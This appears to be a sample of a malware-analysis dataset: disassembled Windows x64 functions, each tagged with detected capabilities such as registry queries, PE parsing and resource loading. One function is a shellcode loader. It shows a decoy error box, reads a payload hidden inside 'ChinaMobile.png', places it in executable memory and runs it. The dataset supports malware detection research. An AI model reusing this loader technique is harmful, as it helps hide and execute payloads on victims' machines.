joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000bd50
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
push r13
push r14
sub rsp, 0x50
mov edi, r8d
mov r13, rdx
mov r14, rcx
call fcn.140005a70
xor ebx, ebx
cmp qword [0x1400754c8], rbx
mov rbp, rax
mov dword [rsp + 0x98], ebx
mov dword [rsp + 0x30], ebx
jne 0x14000be7c
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
mov rsi, rax
je 0x14000bf8f
lea rdx, str.MessageBoxA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000bf8f
mov rcx, rax
call fcn.1400059a0
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x1400754c8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.1400059a0
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x1400754d0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.1400059a0
lea rcx, [rsp + 0x98]
mov qword [0x1400754d8], rax
call fcn.140006930
test eax, eax
je 0x14000be2f
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1400048b0
cmp dword [rsp + 0x98], 2
jne 0x14000be7c
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.1400059a0
test rax, rax
mov qword [0x1400754e8], rax
je 0x14000be7c
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.1400059a0
mov qword [0x1400754e0], rax
mov rcx, qword [0x1400754e0]
mov qword [rsp + 0x80], r12
cmp rcx, rbp
je 0x14000bf28
cmp qword [0x1400754e8], rbp
je 0x14000bf28
call fcn.140005b60
mov rcx, qword [0x1400754e8]
mov rsi, rax
call fcn.140005b60
test rsi, rsi
mov r12, rax
je 0x14000bf28
test rax, rax
je 0x14000bf28
call rsi
test rax, rax
je 0x14000bef3
lea rcx, [rsp + 0x34]
mov r9d, InitCommonControls
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14000bef3
test byte [rsp + 0x40], 1
jne 0x14000bf28
lea rcx, [rsp + 0x30]
call fcn.140006980
test eax, eax
je 0x14000bf15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call fcn.1400048b0
cmp dword [rsp + 0x30], 4
jb 0x14000bf22
bts edi, 0x15
jmp 0x14000bf66
bts edi, 0x12
jmp 0x14000bf66
mov rcx, qword [0x1400754d0]
cmp rcx, rbp
je 0x14000bf66
call fcn.140005b60
test rax, rax
je 0x14000bf66
call rax
test rax, rax
mov rbx, rax
je 0x14000bf66
mov rcx, qword [0x1400754d8]
cmp rcx, rbp
je 0x14000bf66
call fcn.140005b60
test rax, rax
je 0x14000bf66
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x1400754c8]
call fcn.140005b60
mov r12, qword [rsp + 0x80]
test rax, rax
je 0x14000bf8f
mov r9d, edi
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x14000bf91
xor eax, eax
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000c160
Capabilities:
Get geographical location

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1400710c0]
xor rax, rsp
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x20]
mov r9d, 6
mov edx, 0x1004
mov byte [rsp + 0x26], 0
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x14000c1a7
or eax, 0xffffffff
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140002580
add rsp, 0x38
ret
lea rcx, [rsp + 0x20]
call fcn.14000c620
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140002580
add rsp, 0x38
ret
Function at 0x14000d250
Capabilities:
Query or enumerate registry value

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x30], 0
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov r9d, 1
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x14000d3a4
mov eax, dword [rsp + 0x88]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jbe 0x14000d3a4
cmp dword [rsp + 0x50], 2
jbe 0x14000d2d8
cmp dword [rsp + 0x50], 4
je 0x14000d366
jmp 0x14000d3a4
mov dword [rsp + 0x34], 0x104
mov ecx, 0x208
call fcn.140003680
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x48]
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0
jne 0x14000d345
cmp dword [rsp + 0x34], 0
je 0x14000d345
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
jmp 0x14000d35a
lea rdx, [0x140061bac]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rcx, qword [rsp + 0x38]
call fcn.140003990
jmp 0x14000d3a4
mov dword [rsp + 0x34], 4
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x48]
xor r8d, r8d
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov dword [rsp + 0x30], eax
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [rsp + 0x30]
add rsp, 0x68
ret
Function at 0x14002bdd0
Capabilities:
Get graphical window text

Disassembly:
sub rsp, 0x68
mov edx, 0x909
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x400
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
imul eax, eax, 0xd
cdq
mov ecx, 0xa
idiv ecx
add eax, 0xa
mov dword [rsp + 0x30], eax
mov edx, 0x90a
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x400
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
add eax, 5
mov dword [rsp + 0x34], eax
mov edx, 0x8fc
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
lea rdx, [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov r9d, 2
lea r8, [rsp + 0x38]
mov rdx, qword [0x140076f88]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [rsp + 0x3c]
add eax, 0x13
mov dword [rsp + 0x3c], eax
mov edx, 0x902
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
jle 0x14002beaf
mov byte [rsp + 0x48], 1
jmp 0x14002beb4
mov byte [rsp + 0x48], 0
movzx eax, byte [rsp + 0x48]
test eax, eax
je 0x14002bed2
mov eax, dword [rsp + 0x34]
add eax, 0x13
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x44], eax
jmp 0x14002bedd
mov eax, dword [rsp + 0x44]
sub eax, 0x13
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x38]
add eax, 0x13
mov dword [rsp + 0x38], eax
mov edx, 0x901
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
xor r9d, r9d
xor r8d, r8d
mov edx, 0xf0
mov rcx, rax
call qword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
jle 0x14002bf19
mov byte [rsp + 0x49], 1
jmp 0x14002bf1e
mov byte [rsp + 0x49], 0
movzx eax, byte [rsp + 0x49]
test eax, eax
je 0x14002bf3c
mov eax, dword [rsp + 0x30]
add eax, 0x13
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14002bf47
mov eax, dword [rsp + 0x40]
sub eax, 0x13
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x3c]
mov ecx, dword [rsp + 0x44]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c], eax
mov ecx, dword [rsp + 0x38]
mov edx, dword [rsp + 0x40]
sub edx, ecx
mov ecx, edx
mov dword [rsp + 0x50], ecx
mov edx, 0x8fd
mov rcx, qword [0x140076f88]
call qword [sym.imp.USER32.dll_GetDlgItem]
mov dword [rsp + 0x28], 1
mov ecx, dword [rsp + 0x4c]
mov dword [rsp + 0x20], ecx
mov ecx, dword [rsp + 0x50]
mov r9d, ecx
mov r8d, dword [rsp + 0x3c]
mov edx, dword [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.USER32.dll_MoveWindow]
add rsp, 0x68
ret
Function at 0x14004f9e0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov r8d, 1
lea rdx, [0x140062d6c]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_lstrcpynW]
cmp dword [0x140075628], 0
jne 0x14004fa36
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.USER32.dll_LoadStringW]
jmp 0x14004fb71
xor edx, edx
mov eax, dword [rsp + 0x68]
mov ecx, InitCommonControls
div ecx
mov eax, edx
mov dword [rsp + 0x28], eax
xor edx, edx
mov eax, dword [rsp + 0x68]
mov ecx, InitCommonControls
div ecx
add eax, 1
movzx eax, ax
movzx r9d, word [0x14007562c]
mov r8, rax
mov edx, 6
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_FindResourceExW]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x30]
mov rcx, qword [0x140075700]
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x30], 0
je 0x14004faa3
cmp qword [rsp + 0x38], 0
jne 0x14004fab4
lea rax, [0x140062e0c]
mov qword [rsp + 0x38], rax
jmp 0x14004fb71
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0
jmp 0x14004fad3
mov eax, dword [rsp + 0x40]
add eax, 1
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0x10
jge 0x14004fb71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
test eax, eax
je 0x14004fb5e
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
mov dword [rsp + 0x2c], eax
mov rax, qword [rsp + 0x20]
add rax, 2
mov qword [rsp + 0x20], rax
mov eax, dword [rsp + 0x28]
cmp dword [rsp + 0x40], eax
jne 0x14004fb49
mov r8d, 8
xor edx, edx
mov rcx, qword [rsp + 0x70]
call fcn.140002ae0
movsxd rax, dword [rsp + 0x2c]
mov r8, rax
mov rdx, qword [rsp + 0x20]
mov rcx, qword [rsp + 0x70]
call fcn.1400029a0
movsxd rax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x70]
mov word [rcx + rax*2], 0
jmp 0x14004fb71
movsxd rax, dword [rsp + 0x2c]
mov rcx, qword [rsp + 0x20]
lea rax, [rcx + rax*2]
mov qword [rsp + 0x20], rax
jmp 0x14004fb6c
mov rax, qword [rsp + 0x20]
add rax, 2
mov qword [rsp + 0x20], rax
jmp 0x14004fac8
add rsp, 0x58
ret
Function at 0x2fc4d523c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d52ba
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d52b1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d52b1
mov rax, qword [rbp - 8]
jmp 0x2fc4d52cf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d5284
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001b58
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001ba2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001ba2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001ba2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001ba2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001ba2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ba4
xor al, al
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov ecx, eax
mov eax, 0x2d4279a3
imul ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xb5
sub ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r9d, 0x10
lea r8, str.error
lea rdx, str.error
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rdx, [0x1400022c8]
lea rcx, str.ChinaMobile.png
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edx, 0x24be4
mov r8d, 2
mov rcx, rax
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
xor r8d, r8d
mov edx, 0x24be4
mov rcx, rbx
movsxd rsi, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r9, rbx
mov r8d, 1
mov rcx, rax
mov rdx, rsi
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x1400019f8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001a42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001a42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001a42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001a42
cmp dword [rcx + 0x84], 0xe
jbe 0x140001a42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001a44
xor al, al
add rsp, 0x28
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140037490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400374a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400179a0
jmp 0x14000123c
mov rax, qword [0x1400374a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400374a0]
mov dword [rax], 1
mov rax, qword [0x1400374e0]
mov rdx, rax
mov rax, qword [0x1400374d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x14003b024], 1
mov rax, qword [0x1400374a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400374c0]
mov rdx, rax
mov rax, qword [0x1400374b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400374a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140037490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400373e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400373e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.140016c28
mov rax, qword [0x140037520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140037480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140016420
mov eax, dword [0x14003b004]
lea rdx, [0x14003b008]
mov ecx, eax
call fcn.14000147c
call fcn.1400161b7
mov rax, qword [0x140037410]
mov rax, qword [rax]
mov rdx, qword [0x14003b010]
mov qword [rax], rdx
mov rcx, qword [0x14003b010]
mov rdx, qword [0x14003b008]
mov eax, dword [0x14003b004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14003b01c], eax
mov eax, dword [0x14003b020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14003b01c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x14003b024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14003b01c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140037440]
mov dword [rax], 1
mov rax, qword [0x140037450]
mov dword [rax], 1
mov rax, qword [0x140037460]
mov dword [rax], 1
mov rax, qword [0x140037400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140016430
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.140017790
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140017102
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14003b168]
test eax, eax
je 0x14001719a
lea rax, [0x14003b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14003b170]
mov qword [rbp - 8], rax
jmp 0x14001717e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140017172
cmp qword [rbp - 0x10], 0
je 0x140017172
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140017138
lea rax, [0x14003b140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14001719b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400172a0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400172c8
mov eax, 0
jmp 0x140017316
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400172f1
mov eax, 0
jmp 0x140017316
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140017311
mov eax, 0
jmp 0x140017316
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x14001731c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x14001739a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140017391
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140017391
mov rax, qword [rbp - 8]
jmp 0x1400173af
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140017364
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x6bac24f0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6bb0f8c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6bb0f8a0]
test rbx, rbx
je 0x6bac2544
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x6bac253b
test r12, r12
je 0x6bac253b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6bac2520
lea rcx, [0x6bb0f8c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6bac2880
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x6bb0c260]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x6bac28f9
mov rcx, r10
call fcn.6bac2750
test eax, eax
je 0x6bac28f9
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x6bac28f6
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x6bac28ed
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x6bac28f9
add r8, 0x28
cmp r8, r9
jne 0x6bac28d8
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret

Function at 0x1400018e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001932
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001932
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001932
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001932
cmp dword [rcx + 0x84], 0xe
jbe 0x140001932
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001934
xor al, al
add rsp, 0x28
ret